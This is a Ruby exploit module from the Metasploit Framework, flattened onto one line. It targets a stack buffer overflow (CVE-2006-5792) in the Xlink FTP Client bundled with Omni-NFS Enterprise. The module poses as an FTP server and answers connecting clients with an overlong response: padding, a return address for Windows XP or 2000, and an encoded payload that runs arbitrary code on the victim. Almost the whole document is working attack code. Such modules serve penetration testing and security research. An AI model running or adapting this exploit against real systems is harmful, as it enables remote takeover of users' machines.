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## # $Id: xlink_client.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Xlink FTP Client Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Xlink FTP Client 32 Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2. When a overly long FTP server response is recieved by a client, arbitrary code may be executed. }, 'Author' => [ 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 10998 $', 'References' => [ [ 'CVE', '2006-5792' ], [ 'OSVDB', '33969' ], [ 'URL', 'http://www.metasploit.com/' ], [ 'URL', 'http://www.xlink.com' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 550, 'BadChars' => "\x00\x0a\x0d\().,", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ], ], 'Privileged' => false, 'DisclosureDate' => 'Oct 3 2009', 'DefaultTarget'=> 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]), ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) sploit =rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n" print_status("Sending #{self.name}...") client.put(sploit) handler(client) service.close_client(client) end end |
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